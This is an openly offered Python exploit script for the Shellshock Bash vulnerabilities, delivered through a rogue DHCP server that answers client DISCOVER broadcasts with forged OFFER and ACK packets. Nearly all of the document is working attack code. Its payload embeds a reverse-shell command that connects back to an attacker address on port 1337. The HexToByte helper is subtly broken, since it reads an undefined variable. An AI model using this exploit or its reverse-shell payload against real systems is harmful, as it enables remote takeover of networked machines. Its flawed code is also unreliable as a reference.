GNU Bash 4.3.11 dhclient Shellshocker

`#!/usr/bin/python  
# Exploit Title: dhclient shellshocker  
# Google Dork: n/a  
# Date: 10/1/14  
# Exploit Author: @0x00string  
# Vendor Homepage: gnu.org  
# Software Link: http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz  
# Version: 4.3.11  
# Tested on: Ubuntu 14.04.1  
# CVE : CVE-2014-6277,CVE-2014-6278,CVE-2014-7169,CVE-2014-7186,CVE-2014-7187  
# ______ ______ ______ _   
# / __ | / __ |/ __ | _ (_)   
#| | //| |_ _| | //| | | //| | ___| |_ ____ _ ____ ____ ___  
#| |// | ( \ / ) |// | | |// | |/___) _) / ___) | _ \ / _ |/___)  
#| /__| |) X (| /__| | /__| |___ | |__| | | | | | ( ( | |___ |  
# \_____/(_/ \_)\_____/ \_____/(___/ \___)_| |_|_| |_|\_|| (___/  
# (_____|   
# _ _ _ _   
# | | | | (_) _   
# _ | | | _ ____| |_ ____ ____ | |_   
# / || | || \ / ___) | |/ _ ) _ \| _)  
#( (_| | | | ( (___| | ( (/ /| | | | |__  
# \____|_| |_|\____)_|_|\____)_| |_|\___)   
#  
# _ _ _ _ _   
# | | | | | | | | |   
# ___| | _ ____| | | ___| | _ ___ ____| | _ ____ ____  
# /___) || \ / _ ) | |/___) || \ / _ \ / ___) | / ) _ )/ ___)  
#|___ | | | ( (/ /| | |___ | | | | |_| ( (___| |< ( (/ /| |   
#(___/|_| |_|\____)_|_(___/|_| |_|\___/ \____)_| \_)____)_|   
  
# this buddy listens for clients performing a DISCOVER, a later version will exploit periodic REQUESTs, which can sometimes be prompted by causing IP conflicts  
# once a broadcast DISCOVER packet has been detected, the XID, MAC and requested IP are pulled from the pack and a corresponding OFFER and ACK are generated and pushed out  
# The client is expected to reject the offer in preference of their known DHCP server, but will still process the packet, triggering the vulnerability.  
# can use option 114, 56 or 61, though is hardcoded to use 114 as this is merely a quick and dirty example.  
  
import socket, struct  
def HexToByte( hexStr ):  
b = []  
h = ''.join( h.split(" ") )  
for i in range(0, len(h), 2):  
b.append( chr( int (h[i:i+2], 16 ) ) )  
return ''.join( b )  
  
rport = 68  
lport = 67  
  
bsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
  
bsock.bind(("<broadcast>", lport))  
  
while True:  
  
OP = "72" # 56, Message - RFC 1533,2132. 61, Client-identifier - RFC 1533,2132,4361 or 114, URL - RFC 3679 are currently known to work, here we use 114  
URL = "() { :;}; bash -i >& /dev/tcp/10.0.0.1/1337 0>&1".encode("hex")  
URLLEN = chr(len(URL) / 2).encode("hex")  
END = "03040a000001ff"  
broadcast_get, (bcrhost, rport) = bsock.recvfrom(2048)  
hexip = broadcast_get[245:249]  
rhost = str(ord(hexip[0])) + "." + str(ord(hexip[1])) + "." + str(ord(hexip[2])) + "." + str(ord(hexip[3]))  
XID = broadcast_get[4:8].encode("hex")  
chaddr = broadcast_get[29:34].encode("hex")  
print "[+]\tgot broadcast with XID " + XID + " requesting IP " + rhost + "\n"  
OFFER = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010236040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END  
OFFER_BYTES = HexToByte(OFFER)  
ACK = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010536040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END  
ACK_BYTES = HexToByte(ACK)  
print "[+]\tsending evil offer\n"  
sock.sendto(OFFER_BYTES, (rhost, rport))  
broadcast_get2 = bsock.recvfrom(2048)  
print "[+]\tassuming request was received, sending ACK\n"  
sock.sendto(ACK_BYTES, (rhost, rport))  
  
`